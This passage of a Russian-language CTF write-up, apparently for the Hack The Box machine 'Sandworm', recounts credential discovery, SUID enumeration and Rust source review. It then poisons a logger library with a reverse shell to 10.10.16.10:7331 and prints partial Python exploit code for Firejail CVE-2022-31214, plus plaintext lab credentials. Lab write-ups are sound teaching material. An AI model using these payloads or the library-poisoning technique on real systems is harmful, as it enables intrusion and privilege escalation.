\u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e <code>.config<\/code>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0430\u043f\u043a\u0438:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/11\/image-3.png\" alt=\"\" class=\"wp-image-885\" width=\"700\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041e\u0442\u0441\u044e\u0434\u0430 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c <code><strong>atlas<\/strong><\/code> \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>Firejail<\/code>. \u041d\u043e, \u043d\u0435 \u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0442\u0438\u043b\u0438\u0442\u0430\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>atlas <\/strong><\/code>\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>silentobserver<\/strong><\/code> \u0432 \u0444\u0430\u0439\u043b\u0435 admin.json, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 atlas: ~<code>\/.config\/httpie\/sessions\/localhost_5000\/admin.json<\/code><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n{\n    &quot;__meta__&quot;: {\n        &quot;about&quot;: &quot;HTTPie session file&quot;,\n        &quot;help&quot;: &quot;https:\/\/httpie.io\/docs#sessions&quot;,\n        &quot;httpie&quot;: &quot;2.6.0&quot;\n    },\n    &quot;auth&quot;: {\n        &quot;password&quot;: &quot;quietLiketheWind22&quot;,\n        &quot;type&quot;: null,\n        &quot;username&quot;: &quot;silentobserver&quot;\n    },\n    &quot;cookies&quot;: {\n        &quot;session&quot;: {\n            &quot;expires&quot;: null,\n            &quot;path&quot;: &quot;\/&quot;,\n            &quot;secure&quot;: false,\n            &quot;value&quot;: &quot;eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA&quot;\n        }\n    },\n    &quot;headers&quot;: {\n        &quot;Accept&quot;: &quot;application\/json, *\/*;q=0.5&quot;\n    }\n}\n<\/pre><\/div>\n\n\n<p>\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043f\u043e ssh \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0423\u0417 (<code>silentobserver:quietLiketheWind22<\/code>) \u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0444\u043b\u0430\u0433 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \/opt\/tipnet<\/h3>\n\n\n\n<p>\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0435\u0440\u0432\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u043e \u043f\u043e\u0438\u0441\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u043e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0423\u0417 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0434\u0432\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b: <\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><code>sudo -l; find \/ -perm -4000 -type f 2&gt;\/dev\/null<\/code><\/p>\n<\/blockquote>\n\n\n\n<p>\u041f\u043e\u0441\u043b\u0435 \u0432\u0432\u043e\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u0423\u0417 \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c sudo. \u041f\u043e\u0438\u0441\u043a \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u0440\u0438\u0432\u0451\u043b \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n\/opt\/tipnet\/target\/debug\/tipnet\n\/opt\/tipnet\/target\/debug\/deps\/tipnet-a859bd054535b3c1\n\/opt\/tipnet\/target\/debug\/deps\/tipnet-dabc93f7704f7b48\n\/usr\/local\/bin\/firejail\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/libexec\/polkit-agent-helper-1\n\/usr\/bin\/mount\n\/usr\/bin\/sudo\n\/usr\/bin\/gpasswd\n\/usr\/bin\/umount\n\/usr\/bin\/passwd\n\/usr\/bin\/chsh\n\/usr\/bin\/chfn\n\/usr\/bin\/newgrp\n\/usr\/bin\/su\n\/usr\/bin\/fusermount3\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 <code>\/opt\/tipnet\/target\/debug\/tipnet<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nextern crate logger;\nuse sha2::{Digest, Sha256};\nuse chrono::prelude::*;\nuse mysql::*;\nuse mysql::prelude::*;\nuse std::fs;\nuse std::process::Command;\nuse std::io;\n\n\/\/ We don't spy on you... much.\n\nstruct Entry {\n    timestamp: String,\n    target: String,\n    source: String,\n    data: String,\n}\n\nfn main() {\n    println!(&quot;                                                     \n             ,,                                      \nMMP\\&quot;\\&quot;MM\\&quot;\\&quot;YMM db          `7MN.   `7MF'         mm    \nP'   MM   `7               MMN.    M           MM    \n     MM    `7MM `7MMpdMAo. M YMb   M  .gP\\&quot;Ya mmMMmm  \n     MM      MM   MM   `Wb M  `MN. M ,M'   Yb  MM    \n     MM      MM   MM    M8 M   `MM.M 8M\\&quot;\\&quot;\\&quot;\\&quot;\\&quot;\\&quot;  MM    \n     MM      MM   MM   ,AP M     YMM YM.    ,  MM    \n   .JMML.  .JMML. MMbmmd'.JML.    YM  `Mbmmd'  `Mbmo \n                  MM                                 \n                .JMML.                               \n\n&quot;);\n\n\n    let mode = get_mode();\n    \n    if mode == &quot;&quot; {\n            return;\n    }\n    else if mode != &quot;upstream&quot; &amp;amp;&amp;amp; mode != &quot;pull&quot; {\n        println!(&quot;&#x5B;-] Mode is still being ported to Rust; try again later.&quot;);\n        return;\n    }\n\n    let mut conn = connect_to_db(&quot;Upstream&quot;).unwrap();\n\n\n    if mode == &quot;pull&quot; {\n        let source = &quot;\/var\/www\/html\/SSA\/SSA\/submissions&quot;;\n        pull_indeces(&amp;amp;mut conn, source);\n        println!(&quot;&#x5B;+] Pull complete.&quot;);\n        return;\n    }\n\n    println!(&quot;Enter keywords to perform the query:&quot;);\n    let mut keywords = String::new();\n    io::stdin().read_line(&amp;amp;mut keywords).unwrap();\n\n    if keywords.trim() == &quot;&quot; {\n        println!(&quot;&#x5B;-] No keywords selected.\\n\\n&#x5B;-] Quitting...\\n&quot;);\n        return;\n    }\n\n    println!(&quot;Justification for the search:&quot;);\n    let mut justification = String::new();\n    io::stdin().read_line(&amp;amp;mut justification).unwrap();\n\n    \/\/ Get Username \n    let output = Command::new(&quot;\/usr\/bin\/whoami&quot;)\n        .output()\n        .expect(&quot;nobody&quot;);\n\n    let username = String::from_utf8(output.stdout).unwrap();\n    let username = username.trim();\n\n    if justification.trim() == &quot;&quot; {\n        println!(&quot;&#x5B;-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.&quot;);\n        logger::log(username, keywords.as_str().trim(), &quot;Attempted to query TipNet without justification.&quot;);\n        return;\n    }\n\n    logger::log(username, keywords.as_str().trim(), justification.as_str());\n\n    search_sigint(&amp;amp;mut conn, keywords.as_str().trim());\n\n}\n\nfn get_mode() -&amp;gt; String {\n\n        let valid = false;\n        let mut mode = String::new();\n\n        while ! valid {\n                mode.clear();\n\n                println!(&quot;Select mode of usage:&quot;);\n                print!(&quot;a) Upstream \\nb) Regular (WIP)\\nc) Emperor (WIP)\\nd) SQUARE (WIP)\\ne) Refresh Indeces\\n&quot;);\n\n                io::stdin().read_line(&amp;amp;mut mode).unwrap();\n\n                match mode.trim() {\n                        &quot;a&quot; =&amp;gt; {\n                              println!(&quot;\\n&#x5B;+] Upstream selected&quot;);\n                              return &quot;upstream&quot;.to_string();\n                        }\n                        &quot;b&quot; =&amp;gt; {\n                              println!(&quot;\\n&#x5B;+] Muscular selected&quot;);\n                              return &quot;regular&quot;.to_string();\n                        }\n                        &quot;c&quot; =&amp;gt; {\n                              println!(&quot;\\n&#x5B;+] Tempora selected&quot;);\n                              return &quot;emperor&quot;.to_string();\n                        }\n                        &quot;d&quot; =&amp;gt; {\n                                println!(&quot;\\n&#x5B;+] PRISM selected&quot;);\n                                return &quot;square&quot;.to_string();\n                        }\n                        &quot;e&quot; =&amp;gt; {\n                                println!(&quot;\\n&#x5B;!] Refreshing indeces!&quot;);\n                                return &quot;pull&quot;.to_string();\n                        }\n                        &quot;q&quot; | &quot;Q&quot; =&amp;gt; {\n                                println!(&quot;\\n&#x5B;-] Quitting&quot;);\n                                return &quot;&quot;.to_string();\n                        }\n                        _ =&amp;gt; {\n                                println!(&quot;\\n&#x5B;!] Invalid mode: {}&quot;, mode);\n                        }\n                }\n        }\n        return mode;\n}\n\nfn connect_to_db(db: &amp;amp;str) -&amp;gt; Result&amp;lt;mysql::PooledConn&amp;gt; {\n    let url = &quot;mysql:\/\/tipnet:4The_Greater_GoodJ4A@localhost:3306\/Upstream&quot;;\n    let pool = Pool::new(url).unwrap();\n    let mut conn = pool.get_conn().unwrap();\n    return Ok(conn);\n}\n\nfn search_sigint(conn: &amp;amp;mut mysql::PooledConn, keywords: &amp;amp;str) {\n    let keywords: Vec&amp;lt;&amp;amp;str&amp;gt; = keywords.split(&quot; &quot;).collect();\n    let mut query = String::from(&quot;SELECT timestamp, target, source, data FROM SIGINT WHERE &quot;);\n\n    for (i, keyword) in keywords.iter().enumerate() {\n        if i &amp;gt; 0 {\n            query.push_str(&quot;OR &quot;);\n        }\n        query.push_str(&amp;amp;format!(&quot;data LIKE '%{}%' &quot;, keyword));\n    }\n    let selected_entries = conn.query_map(\n        query,\n        |(timestamp, target, source, data)| {\n            Entry { timestamp, target, source, data }\n        },\n        ).expect(&quot;Query failed.&quot;);\n    for e in selected_entries {\n        println!(&quot;&#x5B;{}] {} ===&amp;gt; {} | {}&quot;,\n                 e.timestamp, e.source, e.target, e.data);\n    }\n}\n\nfn pull_indeces(conn: &amp;amp;mut mysql::PooledConn, directory: &amp;amp;str) {\n    let paths = fs::read_dir(directory)\n        .unwrap()\n        .filter_map(|entry| entry.ok())\n        .filter(|entry| entry.path().extension().unwrap_or_default() == &quot;txt&quot;)\n        .map(|entry| entry.path());\n\n    let stmt_select = conn.prep(&quot;SELECT hash FROM tip_submissions WHERE hash = :hash&quot;)\n        .unwrap();\n    let stmt_insert = conn.prep(&quot;INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)&quot;)\n        .unwrap();\n\n    let now = Utc::now();\n\n    for path in paths {\n        let contents = fs::read_to_string(path).unwrap();\n        let hash = Sha256::digest(contents.as_bytes());\n        let hash_hex = hex::encode(hash);\n\n        let existing_entry: Option&amp;lt;String&amp;gt; = conn.exec_first(&amp;amp;stmt_select, params! { &quot;hash&quot; =&amp;gt; &amp;amp;hash_hex }).unwrap();\n        if existing_entry.is_none() {\n            let date = now.format(&quot;%Y-%m-%d&quot;).to_string();\n            println!(&quot;&#x5B;+] {}\\n&quot;, contents);\n            conn.exec_drop(&amp;amp;stmt_insert, params! {\n                &quot;timestamp&quot; =&amp;gt; date,\n                &quot;data&quot; =&amp;gt; contents,\n                &quot;hash&quot; =&amp;gt; &amp;amp;hash_hex,\n                },\n                ).unwrap();\n        }\n    }\n    logger::log(&quot;ROUTINE&quot;, &quot; - &quot;, &quot;Pulling fresh submissions into database.&quot;);\n\n}\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u043a\u043e\u0434 tipnet \u0437\u0430\u043c\u0435\u0442\u0438\u043c \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 Rust <code>logger<\/code>.<\/p>\n\n\n\n<p>\u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0443 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 <code>\/opt\/<\/code>crates\/logger\/src\/lib.rs, \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nextern crate chrono;\n\nuse std::fs::OpenOptions;\nuse std::io::Write;\nuse chrono::prelude::*;\n\npub fn log(user: &amp;amp;str, query: &amp;amp;str, justification: &amp;amp;str) {\n    let now = Local::now();\n    let timestamp = now.format(&quot;%Y-%m-%d %H:%M:%S&quot;).to_string();\n    let log_message = format!(&quot;&#x5B;{}] - User: {}, Query: {}, Justification: {}\\n&quot;, timestamp, user, query, justification);\n\n    let mut file = match OpenOptions::new().append(true).create(true).open(&quot;\/opt\/tipnet\/access.log&quot;) {\n        Ok(file) =&amp;gt; file,\n        Err(e) =&amp;gt; {\n            println!(&quot;Error opening log file: {}&quot;, e);\n            return;\n        }\n    };\n\n    if let Err(e) = file.write_all(log_message.as_bytes()) {\n        println!(&quot;Error writing to log file: {}&quot;, e);\n    }\n}\n<\/pre><\/div>\n\n\n<p>\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 <code>pspy64<\/code> \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0433\u043e:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n&#x5B;...]\n2023\/X\/X X:X:X CMD: UID=0     PID=22523  | \/bin\/sh -c cd \/opt\/tipnet &amp;amp;&amp;amp; \/bin\/echo &quot;e&quot; | \/bin\/sudo -u atlas \/usr\/bin\/cargo run --offline\n&#x5B;...]\n<\/pre><\/div>\n\n\n<p>\u0417\u043d\u0430\u0447\u0438\u0442 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u043f\u0443\u0441\u043a <code>tipnet <\/code>\u043e\u0442 \u043b\u0438\u0446\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>atlas<\/strong><\/code>. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0435\u0441\u043b\u0438 \u0432\u043d\u0435\u0441\u0442\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 <code>lib.rs<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 <code>\/opt\/tipnet<\/code>, \u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u0443\u044e \u043a\u0430\u043a\u0438\u043c\u0438-\u043b\u0438\u0431\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0441\u0435\u0441\u0441\u0438\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>atlas<\/strong><\/code>, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u043d\u0430\u043c \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u043f\u0440\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0438 \u0434\u043e <code><strong>root<\/strong><\/code>.<\/p>\n\n\n\n<p>\u041e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c \u0444\u0430\u0439\u043b <code>\/opt\/<\/code>crates\/logger\/src\/lib.rs \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043e\u0442 \u043b\u0438\u0446\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>atlas<\/strong><\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nextern crate chrono;\n\nuse std::fs::OpenOptions;\nuse std::io::Write;\nuse chrono::prelude::*;\nuse std::process::Command;\n\npub fn log(user: &amp;amp;str, query: &amp;amp;str, justification: &amp;amp;str) {\n    let command = &quot;bash -i &amp;gt;&amp;amp; \/dev\/tcp\/10.10.16.10\/7331 0&amp;gt;&amp;amp;1&quot;;\n\n    let output = Command::new(&quot;bash&quot;)\n        .arg(&quot;-c&quot;)\n        .arg(command)\n        .output()\n        .expect(&quot;error&quot;);\n\n    if output.status.success() {\n        let stdout = String::from_utf8_lossy(&amp;amp;output.stdout);\n        let stderr = String::from_utf8_lossy(&amp;amp;output.stderr);\n\n        println!(&quot;standar output: {}&quot;, stdout);\n        println!(&quot;error output: {}&quot;, stderr);\n    } else {\n        let stderr = String::from_utf8_lossy(&amp;amp;output.stderr);\n        eprintln!(&quot;Error: {}&quot;, stderr);\n    }\n\n    let now = Local::now();\n    let timestamp = now.format(&quot;%Y-%m-%d %H:%M:%S&quot;).to_string();\n    let log_message = format!(&quot;&#x5B;{}] - User: {}, Query: {}, Justification: {}\\n&quot;, timestamp, user, query, justification);\n\n    let mut file = match OpenOptions::new().append(true).create(true).open(&quot;\/opt\/tipnet\/access.log&quot;) {\n        Ok(file) =&amp;gt; file,\n        Err(e) =&amp;gt; {\n            println!(&quot;Error opening log file: {}&quot;, e);\n            return;\n        }\n    };\n\n    if let Err(e) = file.write_all(log_message.as_bytes()) {\n        println!(&quot;Error writing to log file: {}&quot;, e);\n    }\n}\n<\/pre><\/div>\n\n\n<p>\u041e\u0442\u043a\u0440\u044b\u0432 \u043f\u043e\u0440\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f Reverse Shell \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>nc -nvlp 7331<\/code> \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u0435\u0441\u0441\u0438\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <strong><code>altas<\/code><\/strong>.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/11\/image-5.png\" alt=\"\" class=\"wp-image-891\" width=\"700\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 root \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e CVE-2022-31214<\/h3>\n\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>atlas<\/strong><\/code> \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u0441\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043d\u0430\u043c \u0440\u0430\u043d\u0435\u0435 \u0438\u0437-\u0437\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 Firejail. \u0422\u0430\u043a\u0436\u0435, \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e <strong><code>atlas<\/code><\/strong> \u0432\u0445\u043e\u0434\u0438\u0442 \u0433\u0440\u0443\u043f\u043f\u0443 <code>jailer<\/code> \u0438 \u0443 \u043d\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Firejail:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\natlas@sandworm:\/opt\/tipnet$ id\nuid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)\natlas@sandworm:\/opt\/tipnet$ la -la \/usr\/local\/bin\/firejail\n-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 \/usr\/local\/bin\/firejail\n<\/pre><\/div>\n\n\n<p>\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u043c CVE-2022-31214. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0432\u0442\u043e\u0440\u0443\u044e \u0441\u0435\u0441\u0441\u0438\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>atlas<\/strong><\/code>. \u0412 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043a\u043e\u0434\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Python:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/python3\n\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nimport time\nfrom pathlib import Path\n\n# Print error message and exit with status 1\ndef printe(*args, **kwargs):\n    kwargs&#x5B;'file'] = sys.stderr\n    print(*args, **kwargs)\n    sys.exit(1)\n\n# Return a boolean whether the given file path fulfils the requirements for the\n# exploit to succeed:\n# - owned by uid 0\n# - size of 1 byte\n# - the content is a single '1' ASCII character\ndef checkFile(f):\n    s = os.stat(f)\n\n    if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):\n        return False\n\n    with open(f) as fd:\n        ch = fd.read(2)\n\n        if len(ch) != 1 or ch != &quot;1&quot;:\n            return False\n\n    return True\n\ndef mountTmpFS(loc):\n    subprocess.check_call(&quot;mount -t tmpfs none&quot;.split() + &#x5B;loc])\n\ndef bindMount(src, dst):\n    subprocess.check_call(&quot;mount --bind&quot;.split() + &#x5B;src, dst])\n\ndef checkSelfExecutable():\n    s = os.stat(__file__)\n\n    if (s.st_mode &amp;amp; stat.S_IXUSR) == 0:\n        printe(f&quot;{__file__} needs to have the execute bit set for the exploit to \\\nwork. Run &amp;lt;code&amp;gt;chmod +x {__file__}&amp;lt;\/code&amp;gt; and try again.&quot;)\n\n# This creates a &quot;helper&quot; sandbox that serves the purpose of making available\n# a proper &quot;join&quot; file for symlinking to as part of the exploit later on.\n#\n# Returns a tuple of (proc, join_file), where proc is the running subprocess\n# (it needs to continue running until the exploit happened) and join_file is\n# the path to the join file to use for the exploit.\ndef createHelperSandbox():\n    # just run a long sleep command in an unsecured sandbox\n    proc = subprocess.Popen(\n            &quot;firejail --noprofile -- sleep 10d&quot;.split(),\n            stderr=subprocess.PIPE)\n\n    # read out the child PID from the stderr output of firejail\n    while True:\n        line = proc.stderr.readline()\n        if not line:\n            raise Exception(&quot;helper sandbox creation failed&quot;)\n\n        # on stderr a line of the form &quot;Parent pid &amp;lt;ppid&amp;gt;, child pid &amp;lt;pid&amp;gt;&quot; is output\n        line = line.decode('utf8').strip().lower()\n        if line.find(&quot;child pid&quot;) == -1:\n            continue\n<\/pre><\/div>\n\n\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u043e\u0434 \u0438 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0432\u0432\u0435\u0434\u0451\u043c 